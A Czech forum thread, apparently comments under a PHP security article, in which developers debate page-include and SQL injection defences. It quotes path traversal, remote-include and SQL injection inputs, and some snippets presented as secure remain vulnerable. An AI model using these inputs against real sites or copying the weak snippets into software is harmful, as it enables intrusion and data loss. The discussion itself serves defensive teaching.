celé vláknoReseni je tak jednoduche...
celé vláknoJa nevim, ale ja to resim uz nekolik let takhle:
$page = $_GET['page'];
require('./inc/header.php');
if (file_exists('./pages/'.$page.'.pripona')) {
require('./pages/'.$page.'.pripona');
}else {
echo 'Nenalezeno!';
}
require('./inc/footer.php');
Je to asi nejbezpecnejsi co znam. Kdyby se nahodou ty includovane stranky tahaly uplne s jine cesty, tak pouzit nejlepe absolutni cestu.
Pokud de o ty SQL-Injections, tak tak prohat to pres Str_Replace a nahradit klasicky apostrof za dva apostrofy.
K zasmani je to nahrazovani pripony php napr. priponou html. Stejne se clovek, ktery nam to chce nabourat, podiva do hlavicek co se vraceji od serveru. Tam identfikuje, ze tam bezi phpka (hned i verzi). Hlavne nejnapadnejsi je to u cest typu /cesta/stranky.html?parametr1=hodnota¶metr2=hodnota...
Arcao
Re: Reseni je tak jednoduche...
celé vláknoa co by se stalo, kdyby ten tvuj skript volal postupne
page=../abc
page=../../abc
page=../../../abc
apod.
V pripade, ze by ".pripona" bylo "" a "abc" bylo etc/passwd, tak bych se po konecnem case k necemu dokutal, ne?
Re: Reseni je tak jednoduche...
celé vláknoa co kdyz $_GET['page'] obsahuje neco jako '../../../inc/cfg' ? trochu se chranite tou priponou ale stejne :)
nejbezpecnejsi je IMHO:
switch($_GET['page']){
case 'kkk': include 'kkk.php'; break;
case 'bbb': include 'bbb.php'; break;
}
a v pripade vetsiho mnozstvi to nacpat do db a neicludovat :)
Re: Reseni je tak jednoduche...
celé vláknoToto je spravne riesenie, enem neni pro lenivych! Este lepsie by to vsak bolo cez cisla, napr:
switch($_GET['page_id']) {
case 1:
include './abc.php';
break;
case 2:
include './xyz.php';
break;
// ATD, ale hlavne nezabudnut na:
default:
include './main-or-error.php';
break;
}
Pri rozsiahlejsich weboch, samozrejme riesit cez databazu, ale zasada je, ze by mala byt minimalna suvislost medzi menom inkludovaneho suboru a parametrom, pomocou ktoreho sa dostaneme k inkludovaniu daneho suboru (najma ak nechceme, aby niektore subory mohol bezny clovek vidiet, ze ano -- amateur-like admin modules a podobne).
Re: Reseni je tak jednoduche...
celé vlákno"mala byt minimalna suvislost medzi menom inkludovaneho suboru a parametrom"
stastny to clovek, na ktereho netlaci zadni SEO specialisti :)
leda ze by to bylo:
switch ($_GET['par']) {
case "klicove_slovo": include "1.php"; break;
case "klicove_slovo2": include "nazev.php"; break;
}
:)
Re: Reseni je tak jednoduche...
celé vlákno> Toto je spravne riesenie, enem neni pro lenivych!
A sakra, tak teď mě to dostalo - nikdy jsem nic jiného nepoužíval (metoda v článku mi přišla poněkud prapodivná, proč dělat ereg a jiné psí kusy, když mohu přímo porovnat, zda to má požadovanou hodnotu?), ale měl jsem za to, že lenivej jsem teda pořádně :-)
Re: Reseni je tak jednoduche...
celé vláknoSkryvani pripony svuj smysl v nekterych pripadech urcite ma. Pokud se mi nekdo bude chtit nabourat do serveru a jako spravce jsem jiz natolik "schopen", ze umim schovat priponu, tak si taky jiste budu schopen odstranit hlavicky z HTTP response. Pak me nebude trapit ani to, zda server ma cesty ve formatu /cesta/stranky.html?parametr1=hodnota¶metr2=hodnota,
protoze web-aplikace, to neni jen PHP. Z takoveto cesty nezjisti nic - maximalne to, ze to je script, ale v jakem jazyce, to nepozna (pozor ale na chybove vypisy, protoze z tech pozna daleko vic)
Re: Reseni je tak jednoduche...
celé vláknoCo tohle:
___________________
if (isset($_GET["zobraz"]))
{$soubor="adresar/".$_GET["zobraz"].".php";
if (File_Exists ($soubor)) {include ($soubor);}
else include ('adresar/chyba.php');}
else {include ("adresar/uvodni_strana.php");}
___________________
Čili co nebude v tom "adresar" se nevloží a šmitec. Ať mu dáte do URL cokoliv, bude pořád opakovat svou. Dá se to nějak obejít?
A k těm dvojitým uvozovkám: skutečně je to natoli zpomalující?
Re: Reseni je tak jednoduche...
celé vláknoporad neresite vstup obsahujici '../../neco'
Re: Reseni je tak jednoduche...
celé vláknoMyslím, že řeším. Jméno souboru se *sestavuje* takže když mému scriptu dáte http://script.php?zobraz=../../cokoliv, on bude testovat jestli existuje "adresar/../../cokoliv.php" a jelikož nic takového neexistuje a existovat nemůže, zobrazí chybovou stránku.
Re: Reseni je tak jednoduche...
celé vláknoMyslím, že se mýlíš. Relativní cesty jsou svině, che che....
Osobně vkládání "těla stránky" řeším tak, že onen uživatelský vstup kontroluji proti Array, kde mám výčet povolených stringů :). Ještě jsem nepřišel na to jak to obejít ;).
Re: Reseni je tak jednoduche...
celé vláknoRád uznám, že se mýlím, ale přecejen bych raději viděl nějaký konkrétní důkaz, nikoli jen prohlášení. Navíc jestli jde jen o odstranění znaků "../", tak se to dá celkem lehce zařídit a nemusí se to kontrolovat proti nějakému poli, kam bych ty povolené stringy musel při každé nové stránce vkládat.
Re: Reseni je tak jednoduche...
celé vláknoA co takhle zatocit s relativnimi cestami jednoduse ...:
if (isset($_GET["zobraz"]))
{
$soubor=$_GET["zobraz"];
if($soubor_temp=strrchr($soubor,"/")) $soubor=$soubor_temp;
$soubor="adresar/".$soubor.".php";
if (File_Exists ($soubor)) {include ($soubor);}
else include ('adresar/chyba.php');}
else {include ("adresar/uvodni_strana.php");}
Re: Reseni je tak jednoduche...
celé vláknoPokud se použije v konfiguraci open_basedir, tak jsou ti konstrukce ../../blabla k ničemu ;-)
Více na http://www.php.net/features.safe-mode
Re: Reseni je tak jednoduche...
celé vláknoJa pouzivam toto, myslim ze to je bezpecnejsi:
switch($_REQUEST['go']) {
case 'ukaz' :
include 'modules/ukaz.php';
break;
case 'diskuze' :
include 'modules/diskuze.php';
break;
...
default :
include 'modules/404.php';
};
samozrejme se to neda pouzit tam kde by tech case bylo mnoho. Ja mam svuj system postaveny tak ze napriklad jednim modulem ukaz.php zobrazim jakykoliv zobrazitelny objekt v db (obrazek, clanek, kategorii, ...)
Co se tyka SQL injection pouziti
query('SELECT '.odstran_nebezpecne_znaky($_GET['neco']).' FROM ...
je spatne. takto naprimo se daji vkladat mozna hodnoty (texty, cisla) escapovane a v uvozovkach. Pokud ma uzivatel zadat "kus SQL kodu" tak bych pouzil spis tohle
$order_by_codes = array(
'datum' => 'datum DESC',
'jmeno' => 'jmeno ASC',
);
if (isset($order_by_codes[$_GET['tridit']])) {
$order_by_code = $order_by_codes[$_GET['tridit']];
} else { // vychozi trideni
$order_by_code = $order_by_codes['datum'];
};
query('SELECT id, jmeno, datum FROM tabulka ORDER BY '.$order_by_code);
Takto mam zaruceno ze se na konec dotazu muze dostat jedine 'datum DESC' nebo 'jmeno ASC' a nic jineho. Bezpecnejsi je to hlavne z toho duvodu ze se do dotazu NEDOSTANE TO CO UZIVATEL ZADAL, treba i "odzbrojene", ale jen to CO JE V KODU.
Re: Reseni je tak jednoduche...
celé vláknoJá jsem začal používat pomoci regulerních výrazů, takže to dělám takto:
$subj=$_GET['subj'];
if(ereg('^(news|products|contacts)$',$subj))
require_once $subj.'.php';
else
require_once 'firspage.php';
Ale pravdou je že tento přístup už je minulostí a subject si nepředávám jako parametr url, ale se odkazuju na stránky. Díky autorovi tohoto článku jsem byl naveden na Smarty, které mi hoooodně práce ušetří.
Re: Reseni je tak jednoduche...
celé vláknoHaluz haluz a este raz haluz! Ludia, regexpy su na to aby ste z textu vyparsovali emailove adresy, URLs a podobne a nie na to, aby sa nimi testovali kdejake hodnoty! Preco? Pomale a neprehladne! Navyse ked existuju vstavane funkcie na pracu s textom (napr.: http://sk2.php.net/manual/en/function.strstr.php), ktore su na tento pripad ovela vhodnejsie.
Mne to pride, ze niekto sa naucil pouzivat regexpy a zacal ich pouzivat vsade kde sa da! :-\
PAMATAJTE: regexpy su mocny nastroj, tak ho treba pouzit tam kde treba mocny nastroj! Na pokosenie zahradky pred domom tiez nepouzijete kombajn!
pekny clanek - nekamenujte detaily
celé vláknoTema clanku se mi libi a je dobre, ze se nekdo rozhodl venovat tomuto tematu.
Pokud se autor dopustil nekolika drobnych nepresnosti, urcite to nevadi a hlavni je, ze _jednoduchym_ a srozumitelnym zpusobem ukazuje _princip_ problemu a jejich reseni.
Poznamky typu "me to pri tehle konfiguraci problem nedela" jsou irelevantni, protoze nekomu pri jine konfiguraci to problem delat bude a tema resime obecne.
Stejne tak priklady vyjadruji podstatu takoveho utoku a mohli bychom snadno nalezt servery a situace, kde takoveto utoky chodit budou a je treba se branit.
I kdyz nekomu prijdou urcite veci samozrejme, osveta v oblasti bezpecnosti je stale potreba a kazde vylepseni se pocita.
-
Doplnky k prikladum:
"SELECT $_GET[what] FROM users WHERE uid=$_GET[uid];"
ktery lze napadnout volanim "skript.php?uid=10;DELETE FROM users"
pokud neprovede programator prevod uid na cislo (a vyhneme se diskutovanemu problemu uvozovek u retezcove promenne :-).
Zda promenna (GET/POST) obsahuje cislo, muzeme take testovat funkci is_numeric, chceme-li se vyhnout regularnim vyrazum.
Jsem zvedavy na dalsi dil :-)
no nevim...
celé vláknoa) napadne velky kus clanku pise to same, co pravi PHP manual, mam na mysli predevsim SQL injections.
b) SQL injections a "osaleni" prvniho skriptu pres neco.php?page=/etc/passwd neni problem PHP, ale programatora; to same se prece da napsat i jako CGI v C/C++, Perlu,... a dokonce i v ASP ;-)
btw, bylo by dobre pohovorit i o XSS, tedy neco.php?page=http://muj.server/hackovaci-kod
c) kradeni vysledku MySQL - a jak muze _uzivatel_ (=browser) zobrazit obsah PHP promenne v programu bezicim na serveru?
d) bavime-li se o optimalizaci, tak je lepsi pouzivat ++$promenna; nez $promenna++;
(Zend optimizer Technical FAQ: One of the simpler optimizations that the Zend Optimizer does is to change post-incrementing to pre-incrementing, where possible, since preincrementing is the faster operation of the two.)
e) zamaskovani PHP - mno nevim, jaky to ma smysl, user stejne pozna, ze tam "neco" bezi podle URL obsahujici "?". leda, ze by byla dira v mod_php umoznujici DoS :-)
f) pardon, ale MS Access je nejvhodnejsi pro spojeni s PHP??? nonono...
g) jako skody (teda krome vetsiho mnozstvi prenesenych dat) zpusobi SELECT bez LIMITu?
Re: no nevim...
celé vláknoad b) XSS = CSS = Cross Site Scripting. To o cem mluvite se jemnuje Remote Code Execution/Remote Code Include. XSS se tyka ciste podstrceni nejakeho client side skriptovaciho kodu jednim userem browsicim server/webaplikaci nekomu jinemu, kdo ony stranky (nejlepe pak nezavisle) take browsi. V takovem pripade jde vetsinou pri nejhorsim o kradeze auth cookies a pod.
ad c) Pokud se napr. nazev vypisovane promenne prenasi s ostatnimy parametry (videl jsem i to), pak jeho modifikaci.
ad g) Pouzival jste nekdy profiler?
Re: no nevim...
celé vláknoK tomu requiru/includu - souhlasim, ze by asi melo byt zmineno co jste uvedl. PHP ma defaultne povoleno jak u includu tak u requiru otevirani vzdalenych souboru, takze daleko nebezpecnejsi nez cteni lokalnich souboru je spusteni vlastniho kodu (napr. pres neco.php?page=http://muj.server/hackovaci-kod), ktery si tam uz muze delat cokoliv v ramci prav apache. Takze pristup do databaze, prohlizeni zdrojaku apod.
Nechci predbihat, treba to bude v dalsich dilech. Taky podstrkavani $_SESSION promennych pri startu session je celkem zajimava vec.
Jinak clanek a motivaci k celemu serialu hodnotim kladne a doufam, ze problematika bude probrana dostatecne do hloubky, aby se pripadne i zkusenejsi PHP programator dozvedel neco noveho.
Re: no nevim...
celé vláknoa) Ano, protože PHP manuál je berná mince, co je tam je dobře.
b) no to samé se ale nedá napsat v Javě ;-) PHP je řekněme sráženo jen Javou, která je v bezpečnosti z principu na tom lépe
c) může, u složitějších skriptů se dají nalézt takové konstrukce
d) tohle není častý problém, většina "programátorů" v php ani neví, že inkrementace existuje, apokud jo, tu před ta už vůbec není moc známá
e) neví co tam běží, tohle doporučuje sám Zend
f) existuje hodně důvodů, proč právě MS Access
g) vetsi zatizeni databaze
Re: no nevim...
celé vláknoa) souhlas
f) - cena, stabilita, kapacita a operacni prostredi - sama esa!
Re: no nevim...
celé vlákno> existuje hodně důvodů, proč právě MS Access
Ty důvody bych opravdu rád znal.
Doplnění
celé vláknoČlánek obsahuje hodně nepřesností, mám pocit, že páchá víc škody, než užitku.
magic_quotes_gpc již bylo probráno dostatečně.
Není pravda, že dvojité uvozovky jsou pomalejší než jednoduché. "ahoj" a 'ahoj' by mělo být zpracováno stejně rychle. Jediné, co dvojité uvozovky zpomalí, je expanze.
Základem psaní bezpečného skriptu je nastavit E_ALL, tzn. i s E_NOTICE, což je implicitně vyřazeno. Druhou základní věcí je explicitně inicializovat proměnné, tedy nepoužívat neinicializované proměnné. Ostatně na to vás E_NOTICE upozorní. Na většině hostinzích je stále register_globals on a tohle je vynikající obrana před podvržením hodnoty z vnějšku.
Pokud chci větší výkon, tak se rozhodně nehoním za uvozovkami, ale raději promyslím návrh algoritmu, nepoužívám funkce, které se jeví jako jednoduché a přitom jsou naopak časově náročné (např. regex fce), rozmyslím, jak se budu ptát db, atp.
Než předávat filename jako parametr, je lepší použít nějaký vnitřní id, které přemapovává jen na povolené hodnoty filename.
A to by snad stačilo. ;-)
Re: Doplnění
celé vláknoTaky mi prijde divne u SKRIPTOVACIHO jazyka uvazovat nad optimalizacemi, ktere bych zvazoval snad na urovni asm/C (par tiku sem a tam)...
Kdyz vidim navrhy dnesnich "programatoru" v (nejen) PHP, tak jen ziram jak hluboka musi byt jejich neznalost/zabednenost, kdyz se pak biji do prsou nad RADOVE zanedbatelnymi optimalizacemi oproti pasece natropene spatnou dekompozici problemu a algoritmizaci.
Re: Doplnění
celé vláknoAle o tom to je, né?
Za tohle nechť děkujeme Billovi Gatesovi, svaté Emerice a dalším, kteří pomohli vohnoutům k penězům za nicnedělání a navíc ještě bez vzdělání a alspoň minimálních znalostí!
Jojo, díky wérdu, otlaku a póvlpojntu je teď holt každej programátor v nesmyslech jménem Java, PHP a v dalších "technologických výstřelcích".
Hlavně, že si můžeme proprietární D/A A/D převodníky s výstupem na monitor či ethernetový kabel patentovat! Já přehrával moduly přes Covox na dvou paralelních portech a péro jsem si z toho nehonil jako nVidia ze svých pokrokových technologií, které pro mě spíš znamenají dva kroky zpět než alespoň jeden dopředu. Slovo technologie již neznamená něco užitečného s puncem lidské práce, ale emerickou reklamní konzumní sračku!
P.S.: Omlouvám se všem, kterých jsem se dotknul.
Re: Doplnění
celé vláknoSOUHLAS! btw, na Covox si taky dobre pamatuju :)
Ono jinak se clovek nauci programovat kdyz zacina na 286ce a aby mu veci fungovaly jak je treba, musi se ucit novy a novy algoritmy, postupy, PREMEJSLET, vymejslet triky, inovovat a /nizkourovnove/ setrit s kazdym bajtikem pameti a ve smyckach tikem procesoru - a jinak kdyz zacina treba v Eclipse s Javou na 2GHz poci, vykrada luxusni open source knihovny a programovani je pro nej naklikani GUI a vygenerovani obsluh udalosti. Cista prace. To pak vidite screensavery kde se sprity vykreslujou "putpixlem", konstanty jsou hardcoded, kodu se o modularite ani nezda a od poloviny vyvoje projektu se nikdo novej nemuze pribrat, protoze to je jeden velkej provazanej hack, kterej ma nekdo/par lidi chvili v hlave. :) Jako programator clovek uz musi myslet a to neprijde samo.
Re: Doplnění
celé vláknoNastesti jste uplne mimo.
Money talks, a pokud se da aplikace udelat za pul roku (Java/PHP) a splnuje zakaznikovi pozadavky je naprosta blbost ji psat pet let v ASM.
Jenom doufam, ze dnesni zbytecne komplikovane jazyky jako C#, Java a podobne, kde clovek travi naprosto zbytecne spoustu dni nad editorem, ASAP zmizi a zustane po nich jenom smrad a objektove orientovany navrh, a (pro me velmi otupujici a skoro ponizujici, jako pro pana tvorstva) koderina zustane na generatorech kodu. Jenom pani programatori, majici na to bunky budou psat zakladni veci/OS v nizkourovnovych jazycich.
Nejaky naznaky tohoto trendu uz jsou videt, ale jde to na muj vkus moc pomalu.
No ale ani v mem svete bych nepoustel patlaly s jednou priruckou o SQL k vyvoji SW - SW development ma sve, pomerne striktne definovane, zasady, principy a postupy, ktere bohuzel nejsou dodrzovany - v tom s Vami souhlasim. Ale rikat neco o tom, ze by bylo dobre se vratit k ASM? Ale jdete, tihle patlalove by se ve velke mire naucili ASM a delali by v ASM stejne chyby (=aplikovali by stejne spatne postupy) jako v PHP.
Re: Doplnění
celé vláknoASM je nádherný jazyk, kde lze opravdu nahodit obrovské množství chyb a dokáže se ho naučit každý. V ASM je, bylo a bude hodně patlalů, stačí se dneska podívat na zařízení co se prodávají v obchodech, někdy škoda dívat se, kdo to programoval.
Java je dobrý jazyk v tom, že si v něm patlal ani neškrtne :-), proto má lepší pověst než PHP. U PHP bych ocenil jednu věc, nějakou direktretivu STRIKT, která by zakázala globální proměnné, atd.
Re: Doplnění
celé vláknoSouhlasim. Mozna existuji jazyky, ve kterych nejde psat dobre (cobol ?), ale URCITE neexistuji jazyky, ve kterych by neslo psat spatne.
Jinak napsat PROGRAM v assembleru je nesmysl. V assembleru se ma napsat jenom ta funkce, co obsahuje nebo je volana uvnitr 4 forcyklu (napriklad funkce zkopiruj_sprite_do_videopameti), okolo muze byt klidne C nebo i PHP, a pokud je to GUI, tak se ani nemusi psat rucne, pokud nekdo napise rozumny generator kodu ... (generator kodu na neco jineho nez GUI snad ani neexistuje ...).
Pomucka
celé vláknoKdyby někdo neznal, tu je pro lepší orientaci v dlouhých diskuzích šikovný zvýrazňovač:
http://birko.cjb.net/root/2341
Neměl by autor dostupný zdrojový kód? Děkuji
Re: Pomucka
celé vláknoKod toho skriptu nahodou dostupnej je, tak ho mistni PHP exprti muzou rovnou roznest na kopytech. ;o) Je to horkou jehlou, za par minut. Ty komentare jsem vam tam ted snad pridaval i dyl. :) Aspon si ho zajemci budou moct zprovoznit/akcelerovat na localhostu. Kdo to zkusi, tak budu rad treba za malou e-noticku o tom, ze moje decko preziva i jinde! :)) Nashle.
Re: Pomucka
celé vláknoJezis, ja zapomnel na ten link! :)
Takze zdrojak je http://birko.cjb.net/root.src.php
Re: Pomucka
celé vláknoDobra vecicka ... myslim ze funkci parse vrazim jako funkci do sve php proxy, ktery preklada root/print.IDCLANKU.html na root/print.php4?id=IDCLANKU a naopak, hned jak skutecne polezu do nejake diskuze dvakrat ...
Re: Pomucka
celé vláknoPokud by jsi chtel komplet PHP proxy, tak jsem si takovou malou/sviznou tridu napsal. Myslim, ze je to docela prehledne. Vychazi to z nejake phpproxy ze sf.net, ale je to prakticky komplet prepsane.
Ukolem bylo anonymizovani cilove URL. Takze jste cloveku dal encipherovany (s "CRC" checkem) odkaz, ten se predal one proxy.php jako parametr a (s moznosti i vyzadovat heslo) uz se brouwsilo, aniz by dotycny vedel, na jakem serveru se to co vidi vlastne nachazi. Proxyna on-the-fly preklada vsechny relevantni odkazy (i v javascriptu, obrazky, css...) na sebe samu, takze ze stranky, kterou prohlizite proste nijak zjistit puvodni server nejde.
Tohle "maskovani" jde samozrejme vypnout a pak to funguje jako normalni proxyna, takze se browsi neci stranky, ale v logu ma ten apache jen adresy hostingu, kam si clovek onu proxynu uploadnul. Je to jeden soubor.
Doresil jsem i veci jako wget -m nebo podobne stahovace, aby obrazky ulozily pod jejich pravymi jmeny a ne pod translatovanymi nazvy typu:
orig: <img src="ahoj.jpg">
trans: <img src="px.php?url=76893724hg4tr3gh1f32416">
A take osetreni hlavicek vcetne upravy Content-Length (jelikoz proparsovany/substituovany soubor je vetsi nez hlavicka udava a napr. gecko by vyrendrovalo jen jeho cast) je hotove.
Kdybys mel zajem si to pokuchat a neco z toho vytahnout/inspirovat se, tak mailni. Rad ti to poslu. Ahoj!
nepresnost u prikladu $cislo == 'ahoj'
celé vlákno--
$cislo = (int) $_GET['cislo'];
if($cislo == 'ahoj'){
echo 'ok';
}
I když je to zdánlivě nelogické, skript vypíše text "ok", protože řetězec 'ahoj' se před porovnáním přetypuje také na číslo, tedy 0 == 0, a to platí.
==
skript vypise ok jenom kdyz $_GET['cislo'] nebude zacinat nenulovym cislem
napr: skript?cislo=0021lala ok nevypisuje
och ten nadpis
celé vláknoTodle je PHP pro experty ? sam se citim expertem a vsechno uvedene znam a resim (mysql vlastni knihovnou)... jinak nevim jestli nekdo v diskuzi objevil tu chybu neosetreneho vstupu:
isset($_GET['promenna'])
autor nejspis nema zapnute notices || nezkousel skript bez zadani promenne
DANiEL
Re: och ten nadpis
celé vláknoNo původně jsem zvažoval napsat PHP profesionálně, je docela těžké to zařadit.
BTW NOTICE není problém, to jen upozorňuje na možné problémy, člověk to může brát v potaz a nemusí. BTW NOTICE zapínám jen když testuji finální produkt, když všechno naprogramuji, zapnu hlášky a testuji a hledám, jestli jsou důležité
Re: och ten nadpis
celé vláknoNOTICE je skvele proti preklepum
$promenna = "hodnota";
if ($promena == "hodnota")
//nebo
if (promenna == "hodnota")
tohle bez NOTICE normalne projde a jsou to chyby ktere se slozite hledaji. Ted uz vse pisi s NOTICE je to par isset() a nulovani promennych navic ale vyplati se to.
hesla v /etc/passwd???
celé vláknoPokud mne paměť neklame, shadow passwords se začaly hromadně používat někdy kolem roku 1995. Pokud autor používá na serveru tak starou instalaci a dosud se nerozhoupal ani k přechodu na shadow passwords, považoval bych to samo za bezpečnostní chybu takového kalibru, že popsaný problém se skriptem je proti tomu zanedbatelná lapálie. Pokud ne, tak v /etc/passwd žádná hesla nenajde.
Tím nechci říci, že include souboru, jehož jméno dostanu z parametru, není hrubá bezpečnostní chyba. Chci tím autora upozornit, že než opíše nesmysl, který se v článcích cituje stále dokola, měl by se aspoň podívat, jestli je na něm něco pravdy... Jinak se zařadí do zástupu těch, kdo v dobré víře balamutí veřejnost.
Re: hesla v /etc/passwd???
celé vláknoTo neni opisovany nesmysl, ale proste zabehnuty ekvivalent napr. US oznaceni nezname osoby jako "John Doe". Navic to ma tu vyhodu, ze se jedna o soubor s jasne definovanym umistenim, tedy vetsinou existujici a s rozpoznatelnym formatem a pri prakticke ukazce onech ruznych "exploitu" se vypise jako dukaz funkcnosti. Nic vic.
Pochybuji, ze nekdo jiny krome vas v tom vidi realny attack vector. Je to proste jen priklad. Co by se u takove chyby (cteni libovolneho souboru) melo uvadet podle vas, /etc/issue? :))
Zkuste si vybrat neco jineho na rejpani.
Re: hesla v /etc/passwd???
celé vláknoAutor měl po pravdě napsat: útočník může takto zobrazit obsah libovolného souboru, ke kterému má uživatel, pod nímž běží skript, právo čtení. To by byla naprostá pravda a bylo by to samo o sobě alarmující. Mohl také napsat, že útočník může získat seznam uživatelských jmen a třeba i umístění jejich domácích adresářů a defaultní shelly. Sice bychom se mohli hádat o to, jestli je to opravdu takový bezpečnostní problém, ale pořád by to byla pravda. Napsat, že zobrazením /etc/password útočník získá hesla uživatelů, je sice efektní, ale je to buď projev základní neznalosti (pokud autor neví, že tam dávno žádná hesla nejsou) nebo lež (pokud to ví). Abych řekl pravdu, nejsem si úplně jistý, která z možností je vlastně horší.
Domníval jsem se, že Root není Blesk nebo Nova, aby bylo nutno pro zvýšení zájmu čtenářů informace přibarvovat bez ohledu na jejich pravdivost.
Re: hesla v /etc/passwd???
celé vláknoPřeklep: samozřejmě /etc/passwd
Re: hesla v /etc/passwd???
celé vláknoJe to chyba nebo ne?
celé vláknoClanek se mi libi,ale kdyz se tady rozbehla velika diskuze s odbornuky pres PHP, rad bych se zeptal na dle meho nazoru nekorektni chovani PHP + APACHE. Mam zkusenost ze pokud do PHP zadate HTML kod hlavicky v niz se nacitaji treba CSS styly napr. "<link rel="stylesheet" type="text/css" href="/root_black.css">" nebo meta tag kodove stranky napr."<meta http-equiv="Content-type" CONTENT="text/html; charset=iso-8859-2">", tak php script se provede 2x po sobe, vetsinou si toho ani nevsimnete funguje to tak, ze prvni vystup scriptu je nejspis zahozen a vam se v prohlizeci objevi vysledek az druheho projiti scriptu. Jednoduse to vyskousite tak, ze do tela scriptu vlozite nejaky citac. Mozna je to nejakym nastavenim v php.ini (zda se ze na root.cz s tim problem nemaji. Zajimalo by mne zdali ma nekdo podobnou zkusenost.
Re: Je to chyba nebo ne?
celé vláknoTeda ja casto pouzivam vkladani HTML hlavicek do skriptu a nestava se mi, ze by se skript nacetl dvakrat, mozna by neskodil Tvuj kod.
Re: Je to chyba nebo ne?
celé vláknoObe veci mam skoro ve vsech svych dynamickych strankach, ale nikdy se mi nestalo, ze by se skript kvuli tomu spoustel 2x... Taky myslim, ze by ukazka nastaveni a samotny kod pomohly vec objasnit.
Re: Je to chyba nebo ne?
celé vláknoTak jsem to ted zkousel doma na svem slackwarovi a svete div funguje to normalne. Rano to vyzkousim v praci na SUSACI, ale nekde se to 100% chovalo divne.
Re: Je to chyba nebo ne?
celé vláknoNapsal jsem aplikaci, která měla někde nahoře vložený čítač přístupů, který samostatně fungoval řádně, ale po requirování najednou začal přičítat dvojku místo jedničky. --> tedy výše zmíněný problém.
Zkrátím to: Paseku tam nedělaly hlavičky, ale lemplovatě vložený obrázek: pro odlaďování jsem tam nevrazil konkrétní image, ale vyhradil jsem jen patřičnou plochu tagem:
<img src="" height="60" weight="468" alt="Banner">
a ejhle, stránka se načítala dvakrát!
(...a to ještě za podmínky, že někde úplně jinde byl vložen javascript používající [CDATA[xyz]] ) :-((
dodnes mi nikdo nevysvětlil, PROČ se to tak dělo.
Dobrý blábol o regulárních výrazech !!!
celé vlákno"Jejich výhoda tkví v naprosté univerzálnosti použití pro ošetření libovolného vstupu". Jen pro upřesnění, aby nás tu autor článku nemystifikoval. Regulární výrazy se OPRAVDU nedají použít pro ošetření libovolného vstupu. Možná bych autorovi doporučoval přečíst si něco o gramatikách a rekurzy, než se začne pouštět do těchto matoucích tvrzeních.
btw pouziti uvozovek a apostrofu
celé vláknojak tady autor vyzdvihuje jak je moc spatne pouzivat dvojite uvozovky. Zrychleni v bezne aplikaci je natolik nepodstatne oproti mnohem casove slozitejsim castem jako je pristup a prace z databazi, prace se soubory apod. Myslim si, ze nikdo nemuze byt peskovan za pouzivani dvojitych uvozovek. priznavam, ze pokud by existoval skript(a to se asi bezne opravdu nestava), kde by bylo vice jak tisic pouziti asocivaneho pole v tomto kontextu, tak by se to asi projevilo.
dva dotazy offtopic
celé vláknoZdravim,
omlouvam se za tema mimo pusobnost clanku, ale kdyz uz tu psalo par lidi co 'rozumi' phpku, zeptam se (hledani na inetu neprineslo moc ovoce).
Potrebuju v aplikaci(skriptu) pouzivat sitovy zdroj se souborama (unc cestu \\server\share), ale nejsem schopen ji v php nacist. Kdyz dam lokalni cestu tak to jede OK. Pouzivam IIS na w2ks serveru (zaplacnuto iis lockdownem+sec. patche) (jen at nikdo nepise at nainstaluju apache, tyhle reci nechci slyset, neni to mozne kvuli jinym aplikacim co jedou pres ISAPI). V IIS jsem zkousel vypnout volbu overovani serverem IIS v anonymnim overovani, ale bez efektu.
Druhy problem je, nedokazu na ten IIS uploadnout soubor (POST, klasicky input type=file...), velikost souboru jsem zvedl na 10mega, at zadam cokoliv do vstupu, tak data tlaci prohlizec na server, ale tam se nakonec nic neulozi. Zkousel jsem poruznu i menit path pro upload v php a efekt stejny.
Diky za pripadne nakopnuti spravnym smerem :)
P.
Re: dva dotazy offtopic
celé vláknoad UNC: zkus
fopen("//server/share")
nebo fopen("\\\\server\\share"),
pripadne exec("net use x: \\\\server\\share"); fopen("x:/..."); exec("net use x: /delete"); (muzes zmenit " na ' :-)).
ad ISAPI: AFAIK to umi i apache2/win32 ;-)
ad file upload:
prepis si nejakej priklad z manualu/neco_co_chodi_jinde a zjistis, jestli je chyba ve spolupraci php&iis nebo ve tvem skriptu.
jinak na dotzay o php v cs doporucuju treba wz.cz/forum, sekce php.
SQL script injection :-))))
celé vláknohmm tak odstavec "Vkládání SQL kódu" je hodne usmevny, protoze Mysql_query neumi vykonat vice SQL prikazu oddelenych strednikem :-) rekl bych ze to plati i pro funkce pro ostatni DB, takze autor zaspal asi dobu :-)
Aichi
Re: SQL script injection :-))))
celé vláknoPokud me je zname tak sql injection se dela takto:
mysql_query("DELETE FROM xxx WHERE id=$id"); // tady neni promena id v uvozovkach takze se da:
script.php?id=0 OR 0=0
a ten OR se postara o to ze to smaze vse
reseni je nekolik a to
1. mysql_query('DELTE FROM xxx WHERE id='.intval(id)); /// toto se mi zda efektivnejsi, protoze MySQL pak NIKDY nerve kdyz WHERuju promenou typu int s stringem.
2. gpc_magick_quotes=on a mysql_query("DELETE FROM xxx WHERE id=\"$id\"");
3. ci rucni escapovani
osobne na to pouzivam funkci pri nacitani vstupnich dat a vypinam ini_setem nebo .htaccessem register_globals, pak mam jistotu ze me nikdo nezmeni nic co nechci.
function input_num($var) {
if (!is_numeric($_REQUEST[$var])) {
die('Vstupni promena $var musi byt cislo!');
}
return $_REQUEST[$var];
}
$a=input_num('a');
stejne funkce mam treba i na checkboxy, a tim se mi automaticky overi i jestli se nekdo nepokousi podstrcit blby data
Funkce
celé vláknoNerad plýtvám prostorem, což by obecně neměl programátor dělat. Jestliže tedy vyžaduji od člověka na stránkách nějaké informace, zkontroluji si je velice důkladně vlastními funkcemi. V dnešní době přece již nejde o rychlost, jestliže máme výkonné servery a relativně rychlé připojení. V případě špatné konstrukce uživatele upozorním, kde se stala chyba (jestliže to není jeho chyba tak bla bla bla...). Jsem tedy pro řešení udělat aplikaci funkční, která nemá bezpečnostní chyby.
Po důkladném odzkoušení ji pustit naostro, potom ji vyladit tak, aby byla co nejrychlejší.
Pro psaní byste si měli uvědomit, že zdrojový kód skriptu je vaše autorské dílo (pokud ho neposkytujete v rámci GPL ap.), takže jeho zveřejnění by bylo katastrofou. Samozřejmě když mám nějaký soubor (hlavičky, funkce...) tak nekontroluji, zda existuje. To by byl ten kód opravdu nepořádný. Proto já osobně (samozřejmě se nezabývám projekty s mnoha lidmi) užívám vlastní funkce jako: over_mail(); posli_dopis(); kde většinou ani nemusím zadávat parametry, protože používám sessions, které načtu funkcí $kod=akt_session(); Proto bych velice rád (stejně jako většina ostatních uživatelů) uvítal jako pokračování Sessions.
Ošetření přístupu k souborům
